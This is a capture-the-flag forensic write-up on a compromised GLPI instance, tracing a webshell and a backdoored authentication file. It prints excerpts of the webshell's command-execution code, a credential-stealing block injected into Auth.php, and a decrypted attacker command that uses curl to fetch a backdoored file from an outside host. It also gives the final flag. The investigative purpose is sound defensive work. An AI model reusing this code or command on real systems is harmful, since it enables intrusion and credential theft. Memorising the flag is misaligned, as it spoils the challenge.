CTF-Writeups

Operation Pensieve Breach – 2 — Write-up

Overview

This repository contains the forensic analysis and solution for the Hack The Box - Operation Pensieve Breach - 2 style incident.

The investigation revolves around a compromised GLPI instance where the director of Hogwarts (Albus Dumbledore) had his account compromised after logging in from:

Our goals:

  1. Identify how his account got compromised from this server.
  2. Find:
    • The absolute path of the file which led to the compromise.
    • The absolute path of the file used by the attacker to retrieve Albus’ account.
    • From that second file, extract the value of the second field of the second stored piece of information.
  3. Build the final flag in the format:

    Hero{<first_path>;<second_path>;<value>}
    

1. Initial triage & logs

We start in the extracted pensieve_var directory (simulating /var on the server).

1.1. Time-based file changes

We list files changed in the relevant compromise window:

cd ~/pensieve2/var

find . -type f   -newermt '2025-11-22 22:45' ! -newermt '2025-11-22 23:59'   -printf '%TY-%Tm-%Td %TH:%TM:%TS %s %p\n' | sort

Notable entries:

These are strong candidates for malicious activity.


2. Webshell: setup.php in GLPI temp

List the temp directory:

ls -l www/glpi/files/_tmp

We see:

-rwxrwxr-x 1 vboxuser vboxuser 3550 Nov 22 23:03 setup.php

Inspect it:

sed -n '1,200p' www/glpi/files/_tmp/setup.php

Key parts (trimmed):

/****************************************************************
 * Webshell Usage:
 *   ?passwd=P@ssw0rd123 --> Print glpi passwords in use
 *   ?passwd=P@ssw0rd123&_hidden_cmd=whoami --> Execute whoami
 ****************************************************************/

...

if (isset($_GET["submit_form"]) && $_GET["submit_form"] === "2b01d9d592da55cca64dd7804bc295e6e03b5df4") {
  ...
  if (file_exists($to_include)) {
    include_once($to_include);
    try {
      Html::header("GLPI Password");

      $key = "14ac4b90bd3f880e741a85b0c6254d1f";
      $iv  = "5cf025270d8f74c9";

      if (isset($_GET["save_result"]) && !empty($_GET["save_result"])) {
        $encrypted = base64_decode($_GET['save_result']);
        $decrypted = openssl_decrypt($encrypted, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv);

        exec($decrypted, $output, $retval);

        echo "<code>";
        foreach ($output as $line) {
          echo htmlentities($line) . "</br>";
        }
        echo "</code></br>";
      } else {
        dump_password();
      }

What this does

This gives the attacker full remote code execution (RCE) via HTTP.


3. Correlating with Apache logs

We search for the webshell being hit:

grep -n "setup.php" log/apache2/glpi_access.log log/apache2/glpi_ssl_access.log

grep -n "save_result=" log/apache2/glpi_access.log log/apache2/glpi_ssl_access.log

We find (cleaned up):

192.168.56.200 - - [22/Nov/2025:23:03:49 +0000] "POST /ajax/fileupload.php?_method=DELETE&_uploader_picture%5B%5D=setup.php HTTP/1.1" 200 ...

192.168.56.1 - - [22/Nov/2025:23:09:36 +0000] "GET /front/plugin.php?submit_form=2b01d9d592da55cca64dd7804bc295e6e03b5df4&save_result=oGAHt/Kk1OKeXWxy7iXUfw== ...

192.168.56.1 - - [22/Nov/2025:23:10:02 +0000] "GET /front/plugin.php?submit_form=2b01d9d592da55cca64dd7804bc295e6e03b5df4&save_result=4xRW8Us32tnzow8KiLOwuASwWypc4XE2LBDXaWQLmATmYOlVNcpYABK5gfF5xiwvLu1s6UpjuW2aJk94xSXQ1AaVGQFwdNpNR/7wqKV6JAE= ...

192.168.56.1 - - [22/Nov/2025:23:10:51 +0000] "GET /front/plugin.php?submit_form=2b01d9d592da55cca64dd7804bc295e6e03b5df4&save_result=86AyGErKuj5UoZE9eHtlIg== ...

So the attacker is:

  1. Uploading setup.php (via file upload endpoints).
  2. Calling plugin.php with the special submit_form and encrypted save_result commands.

4. Decrypting the attacker’s commands

Using the key and IV from setup.php:

php -r '
$key = "14ac4b90bd3f880e741a85b0c6254d1f";
$iv  = "5cf025270d8f74c9";

$vals = [
  "oGAHt/Kk1OKeXWxy7iXUfw==",
  "4xRW8Us32tnzow8KiLOwuASwWypc4XE2LBDXaWQLmATmYOlVNcpYABK5gfF5xiwvLu1s6UpjuW2aJk94xSXQ1AaVGQFwdNpNR/7wqKV6JAE=",
  "86AyGErKuj5UoZE9eHtlIg==",
];

foreach ($vals as $b64) {
  $enc = base64_decode($b64);
  $dec = openssl_decrypt($enc, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv);
  echo $b64, " -> ", $dec, PHP_EOL, "-------------------------", PHP_EOL;
}
'

Output:

oGAHt/Kk1OKeXWxy7iXUfw== -> 
-------------------------
4xRW8Us32tnzow8KiLOwuASwWypc4XE2LBDXaWQLmATmYOlVNcpYABK5gfF5xiwvLu1s6UpjuW2aJk94xSXQ1AaVGQFwdNpNR/7wqKV6JAE= -> curl https://xthaz.fr/glpi_auth_backdoored.php > /var/www/glpi/src/Auth.php
-------------------------
86AyGErKuj5UoZE9eHtlIg== -> whoami
-------------------------

The critical command:

curl https://xthaz.fr/glpi_auth_backdoored.php > /var/www/glpi/src/Auth.php

So the attacker downloads a backdoored authentication file and overwrites the original GLPI Auth.php.

We also saw this file’s timestamp in the earlier find output:

2025-11-22 23:10:03 ... ./www/glpi/src/Auth.php

which matches the timing of that malicious request.


5. Discovering the backdoor in Auth.php

Since Auth.php was overwritten, we inspect it for suspicious modifications:

grep -niE 'file_put_contents|fopen|fwrite|/var/' www/glpi/src/Auth.php

We get a hit near line 975. Dump around that region:

sed -n '940,990p' www/glpi/src/Auth.php

We find this malicious block inside the login logic:

if (
    empty($login_auth)
    || $this->user->fields["authtype"] == $this::CAS
    || $this->user->fields["authtype"] == $this::EXTERNAL
    || $this->user->fields["authtype"] == $this::LDAP
) {
    if (Toolbox::canUseLdap()) {
        $key = "ec6c34408ae2523fe664bd1ccedc9c28";
        $iv  = "ecb2b0364290d1df";

        $data = json_encode([
            'login' => $login_name,
            'password' => $login_password,
        ]);

        $encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
        $encoded = base64_encode($encrypted) . ";";

        $file = "/var/www/glpi/pics/screenshots/example.gif";
        file_put_contents($file, $encoded, FILE_APPEND);

        AuthLDAP::tryLdapAuth(
            $this,
            $login_name,
            $login_password,
            $this->user->fields["auths_id"]
        );

What this does

On each LDAP/EXTERNAL/CAS login attempt, it:

  1. Packages login_name and login_password into a JSON object.
  2. Encrypts it with AES-256-CBC using a separate static key and IV.
  3. Base64-encodes the ciphertext and appends a ;.
  4. Appends this data into:

    /var/www/glpi/pics/screenshots/example.gif
    

This is a credential stealer hidden in the GLPI authentication flow.

This file – /var/www/glpi/src/Auth.php – is the one that led to the compromise
because it silently logged Albus’ credentials when he logged in.


6. The credential stash: example.gif

List the screenshots:

ls -l www/glpi/pics/screenshots

Notable:

-rwxrwxr-x 1 vboxuser vboxuser    154 Nov 22 23:11 example.gif

All the other images are large PNG/GIF files in the hundreds of KB range. example.gif is tiny (154 bytes), which is extremely suspicious.

We then extract Base64 chunks from it:

strings -n 20 www/glpi/pics/screenshots/example.gif   | tr ';' '
'   | grep -E '^[A-Za-z0-9+/=]{20,}$'   | sed '/^$/d'   | nl -ba

Output:

     1  mbzTGN3mBbqOHr/h3/c2uebIG7VPft37SXR+hurPIglCYfLeFqIzSM/R9lLhKp5K
     2  U+IiFdoC53E4vV+9aTeVHbsp/0YRYqDqQzvx0gBGpzIPAhEYlgd5SjpPPQOLgmmoCbWKLREBHparNdsK2BQ3tQ==

As per the challenge description, this file stores two pieces of information.
Each line is one encrypted JSON blob created by the malicious Auth.php.


7. Decrypting the stored credentials

We use the second AES key/IV from the backdoored Auth.php:

php -r '
$key = "ec6c34408ae2523fe664bd1ccedc9c28";
$iv  = "ecb2b0364290d1df";

$blob = "U+IiFdoC53E4vV+9aTeVHbsp/0YRYqDqQzvx0gBGpzIPAhEYlgd5SjpPPQOLgmmoCbWKLREBHparNdsK2BQ3tQ==";

$enc = base64_decode($blob);
$dec = openssl_decrypt($enc, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv);
echo $dec, PHP_EOL;
'

Output:

{"login":"albus.dumbledore","password":"FawkesPhoenix#9!"}

So the second piece of information is:

{
  "login": "albus.dumbledore",
  "password": "FawkesPhoenix#9!"
}

Within this JSON:

The challenge asks:

The 3rd flag part is the value of the second field of the second piece of information.

That is:

FawkesPhoenix#9!

The second file used by the attacker to retrieve Albus’ account is
/var/www/glpi/pics/screenshots/example.gif.


8. How Dumbledore’s account was compromised

  1. The attacker uploads a malicious setup.php into GLPI’s temp files and triggers it through front/plugin.php with a magic submit_form value.
  2. That webshell decrypts the save_result parameter and executes it. One of the attacker’s commands is:

    curl https://xthaz.fr/glpi_auth_backdoored.php > /var/www/glpi/src/Auth.php
    
  3. This replaces the legitimate GLPI authentication file (Auth.php) with a backdoored version that logs any LDAP-style login credentials to:

    /var/www/glpi/pics/screenshots/example.gif
    
  4. When Albus Dumbledore later logs in from pensive.hogwarts.local (192.168.56.230), his credentials are stored in example.gif as:

    {"login":"albus.dumbledore","password":"FawkesPhoenix#9!"}
    
  5. The attacker can then download example.gif, decrypt the Base64 blobs, and recover his password.

9. Final answers / Flag

Per the challenge questions:

  1. Absolute path of the file which led to the compromise
    → the backdoored authentication file:

    /var/www/glpi/src/Auth.php
    
  2. Absolute path of the file used by the attacker to retrieve Albus’ account
    → the credential stash:

    /var/www/glpi/pics/screenshots/example.gif
    
  3. The second field of the second piece of information stored in that file
    "password" value from the second entry:

    FawkesPhoenix#9!
    

Final flag

Hero{/var/www/glpi/src/Auth.php;/var/www/glpi/pics/screenshots/example.gif;FawkesPhoenix#9!}

10. Summary

This completes the investigation for Operation Pensieve Breach – 2.